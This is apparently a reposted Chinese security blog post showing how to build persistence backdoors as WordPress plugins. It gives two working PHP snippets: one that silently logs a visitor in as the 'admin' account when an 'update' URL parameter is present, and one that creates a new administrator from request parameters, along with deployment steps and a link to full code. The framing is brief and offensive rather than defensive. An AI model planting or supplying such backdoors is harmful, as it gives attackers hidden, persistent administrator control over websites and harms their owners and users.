wordpress 插件之权限后门

admin 2018年5月8日11:26:29评论594 views字数 1190阅读3分58秒阅读模式
摘要

权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。


权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。

方案1 – 自动登录管理员账号

这种方案较为隐蔽,我们只要找到一个管理员账号,调用Wordpress API,实现自动登录即可。

wordpress 插件之权限后门

在测试环境中,我们只有 admin 一个账号。为了登录这个admin 账号,我们需要进行如下操作

// 当带有 "update" 字样时就执行后门 if (! isset ($_GET['update'])) {      return; }  $user = get_user_by('login', 'admin'); if (! is_wp_error($user)) {     // 清空当前认证信息     wp_clear_auth_cookie();     // 设置管理员的认证信息     wp_set_current_user($user->ID);     wp_set_auth_cookie($user->ID);     // 跳转到管理后台     wp_safe_redirect(user_admin_url());      exit(); } 

我们登录服务器,将插件释放在 wp-content/plugins/001-autologin.php,并激活插件

wordpress 插件之权限后门

激活后,就可以成功登录了。这里为了方便演示,用的cURL命令

wordpress 插件之权限后门

方案2 – 创建管理账号

这个方法会根据用户输入的账号和密码,创建管理员账号。我们编写如下插件,安装到 WordPress 里,

$__username = @$_REQUEST['__username']; $__password = @$_REQUEST['__password'];  if (! isset ($__username) || ! isset ($__password) || username_exists ($__username)) {     return; }  // 创建用户 $user = wp_create_user($__username, $__password, "root@localhost.localdomain"); if (! is_wp_error($user)) {     $user = get_user_by('login', $__username);     // 设置为管理员角色     $user->set_role('administrator');     exit(); } 

激活插件后,我们触发一下

wordpress 插件之权限后门

使用刚刚提交的账号密码,aka hello:world 登录,发现管理员账号已经添加成功了:

wordpress 插件之权限后门

写在最后

本文只是以Wordpress插件为例,讲解如何实现后门机制,后门代码并不一定放在插件里。至于如何隐藏后门,本文不再赘述。

完整的测试代码可以在这里下载:[ GO ]

*本文作者:c0debreak ,转载自[ FreeBuf.COM ]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月8日11:26:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   wordpress 插件之权限后门http://cn-sec.com/archives/50996.html

发表评论

匿名网友 填写信息